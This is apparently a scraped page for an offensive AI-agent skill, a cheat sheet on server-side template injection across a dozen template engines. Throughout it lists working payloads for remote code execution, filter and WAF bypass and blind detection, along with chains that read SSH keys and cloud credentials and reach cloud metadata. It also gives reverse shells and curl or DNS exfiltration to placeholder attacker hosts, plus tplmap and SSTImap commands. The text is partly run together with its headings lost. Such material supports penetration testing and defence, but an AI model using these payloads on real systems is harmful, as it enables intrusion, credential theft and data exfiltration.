Loading...
Loading...
Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution.
npx skill4agent add snailsploit/claude-red offensive-sstirender_template_string()Template()compile()${{<%[%'"}}%\ Universal polyglot
{{7*7}} Double-curly arithmetic
{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %> ERB / EJS style
#{7*7} Pebble / Pug / Thymeleaf contexts
@(7+7) Razor (.NET){{config}} Jinja2/Flask config dict
{{_self.env}} Twig Environment object
{$smarty.version} Smarty version string
<#assign x=1> Freemarker (then reference x in dollar-curly)#set( $x = 7 * 7 )$xT(java.lang.Math).PIself.module.__name__{{7*7}} --> 49?
YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
--> "49"? --> Twig
--> error? --> Handlebars
NO --> dollar-curly with 7*7 --> 49?
YES --> dollar-curly with class ref --> Velocity
dollar-curly with T(Math).PI --> Thymeleaf
<#assign x=1> then ref x --> Freemarker
error contains "mako" --> Mako
NO --> <%= 7*7 %> --> 49?
error with "erb"/"Erubi" --> ERB
error with "ejs" --> EJS
@(7+7) --> 14? --> Razor| Signature | Engine |
|---|---|
| Jinja2 |
| Twig |
| Freemarker |
| Velocity |
| Pebble |
| Smarty |
| Mako |
| Handlebars |
| ERB |
| Thymeleaf |
| EJS |
| Pug |
{{range(99999999)|join}}<%= sleep(5) %>T(java.lang.Thread).sleep(5000){{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}{{['nslookup UNIQUE.oastify.com']|map('system')}}{{7*7}}{{7*'INVALID}}object__globals____builtins__{{''.__class__.__mro__[1]}} # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}} # List all subclasses
# Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}# Via subprocess.Popen (replace INDEX with runtime value)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}
# Via self.__init__.__globals__
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via request.application (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via config object
{{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via cycler (bypasses some sandboxes)
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Via lipsum / namespace / joiner globals
{{lipsum.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
# Via warnings module search
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}} # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}} # DB URI
{{request.environ}} # WSGI env{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}{{'id'|filter('system')}} # filter() with system
{{'id'|filter('passthru')}} # filter() with passthru
{{['id']|map('system')|join}} # map() callback
{{['id',0]|sort('system')|join}} # sort() callback
{{[0,'id']|reduce('system')}} # reduce() callback{{app.request.server.all|join(',')}} # Symfony server vars
{{dump(app)}} # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}} # File read (debug mode)
{{'/etc/passwd'|file_get_contents}} # If exposed as filter<#assign>GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next(){% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.comGET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.comT(Character).toString(105).concat(T(Character).toString(100))id@environment.getProperty('spring.datasource.password'){$smarty.version} # Version disclosure
{php}echo shell_exec('id');{/php} # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}<% import os; result = os.popen('id').read() %>GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com<%= system("id") %> # Command exec
<%= `id` %> # Backtick exec
<%= File.open('/etc/passwd').read() %> # File read
<%= Rails.application.credentials.secret_key_base %> # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>{{#with "s" as |string|}}
{{#with "e"}}{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}{{/with}}
{{/with}}<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>outputFunctionNamePOST /render HTTP/1.1
Content-Type: application/json
{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= x{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}# Dot blocked -- use |attr() or brackets
{{request|attr('application')}}
{{request['application']}}
# Underscore blocked -- hex encode (\x5f = _)
{{''['\x5f\x5fclass\x5f\x5f']}}
# Or pass via request param: ?a=__class__
{{''|attr(request.args.a)}}
# Brackets/quotes blocked -- chain |attr() with request.args
# URL: ?a=__class__&b=__mro__&c=__subclasses__
{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}# Tilde concatenation
{{''|attr('__cla'~'ss__')}}
# Join filter
{{''|attr(['__cla','ss__']|join)}}
# Plus in brackets
{{''['__cla'+'ss__']}}
# chr() construction
{% set chr = ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
# Twig tilde
{{('sys'~'tem')('id')}}{{obj|attr('__class__')}} # |attr() filter
{{obj.__getattribute__('__class__')}} # __getattribute__
{{obj['__class__']}} # bracket notation
{{obj|attr('__getitem__')('key')}} # |attr() + __getitem__# Hex/octal encoding
{{request['\x5f\x5fclass\x5f\x5f']}}
{{request|attr('\137\137class\137\137')}}
# Request parameter smuggling
# URL: ?c=__class__
{{request|attr(request.args.c)}}
# URL: ?f=%s%sclass%s%s&a=_
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
# URL: ?l=a&a=_&a=_&a=class&a=_&a=_
{{request|attr(request.args.getlist(request.args.l)|join)}}Parameter splitting: ?a={{&b=7*7&c=}}
HTTP Param Pollution: ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion: Submit as application/json when WAF inspects form-urlencoded
Double URL encoding: %257B%257B7*7%257D%257D
Whitespace injection: {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection: {{\n7*7\n}} (WAFs may not match cross-line patterns)?new()<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>T(Character).toString(){{range(99999999)|join}} # Jinja2: CPU-intensive delay
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('time').sleep(5)}}
{% endif %}
{% endfor %} # Jinja2: explicit sleep{{['sleep 5']|map('system')}} # Twig<%= sleep(5) %> # ERB"sleep 5"T(java.lang.Thread).sleep(5000)# Jinja2 -- confirm execution
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://UNIQUE.oastify.com').read()}}
# Jinja2 -- exfiltrate data in subdomain
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}{{['curl http://UNIQUE.oastify.com']|map('system')}} # Twig<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %> # ERB{{config.__class__.__name__ + 1}} # Type error leaks data in error page
{{1/0}} # Division by zero with engine info
# Boolean blind -- extract character by character
{% if ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[0] == 'r' %}TRUE{% endif %}# Cloud metadata
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}
# Internal service access
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://internal-api:8080/admin').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}} # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}} # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}} # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}} # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}} # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}} # Process env{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i}<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}# Chunked DNS exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}
# HTTP POST exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}{{{%<%#{#set(<#assign__class____mro____subclasses____globals____builtins__getRuntimeProcessBuilderforNameT(java.langshbashcurlnslookup/tmprender_template_string()Template()Environment.from_string()SandboxedEnvironmentSAFER_RESOLVER{php}compileDebug| Phase | Action | Tool / Technique |
|---|---|---|
| Recon | Map input reflection points | Burp Suite, waybackurls, qsreplace |
| Detection | Inject polyglot and arithmetic probes | ffuf, Burp Intruder, manual |
| Fingerprinting | Identify engine via decision tree/errors | Error signatures, variable probes |
| Validation | Confirm server-side execution | Timing, source inspection |
| Exploitation | Apply engine-specific RCE chain | tplmap, SSTImap, TInjA, manual |
| Bypass | Evade WAF/filters | Section 6 techniques |
| Blind | OOB, time-based, error-based methods | Burp Collaborator, interactsh |
| Escalation | Chain to file read, SSRF, shell, privesc | Section 8 chains |
| Proof | Non-destructive PoC with unique marker | DNS callback, unique file |
# tplmap
python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan
python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2 # Force engine
python tplmap.py -u 'http://target.example.com/page' -d 'name=test' # POST injection
python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id # Execute command
python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell # Interactive shell
# SSTImap
python3 sstimap.py -u 'https://target.example.com/page?name=test' # Auto-detect
python3 sstimap.py -u 'https://target.example.com/page?name=test' -S # Shell
python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id' # Run command
# Parameter discovery
waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
arjun -u http://target.example.com/page --stable